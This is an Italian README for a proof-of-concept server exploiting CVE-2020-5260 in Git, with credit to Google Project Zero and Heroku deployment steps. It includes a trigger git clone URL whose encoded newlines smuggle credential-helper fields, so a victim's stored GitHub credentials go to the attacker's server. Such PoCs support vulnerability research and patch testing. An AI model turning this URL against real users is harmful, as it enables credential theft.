cve-2020-5260

Un endpoint PoC HTTP per cve-2020-5260 che può essere distribuito su Heroku

INFORMAZIONI SUI CREDITI

Felix Wilhelm di Google Project Zero https://bugs.chromium.org/p/project-zero/issues/detail?id=2021

Attiva la vulnerabilità

git clone 'https://YourHerokuAppNameAndNotMine.herokuapp.com?%0ahost=github.com%0aprotocol=ssh'

Carica la PoC su Heroku

Clicca questo pulsante per distribuire in automatico su Heroku...

Oppure segui i passaggi riportati di seguito...

Sì, capisco l'ironia di dover eseguire comandi Git clone per configurare questa PoC....

Installa la CLI di Heroku tramite https://devcenter.heroku.com/articles/heroku-cli

Se non l'hai già fatto, accedi al tuo account Heroku e segui le istruzioni per creare una nuova chiave pubblica SSH.

$ heroku login

Clona il repository

Usa Git per clonare il codice sorgente di cve-2020-5260 sulla tua macchina locale.

$ mkdir cve-2020-5260
$ cd cve-2020-5260
$ git init
$ heroku apps:create cve-2020-5260
$ git clone https://github.com/brompwnie/cve-2020-5260

Distribuisci le tue modifiche

Apporta alcune modifiche al codice che hai appena clonato e distribuiscile su Heroku usando Git.

$ git add .
$ git commit -am "make it better"
$ git push heroku master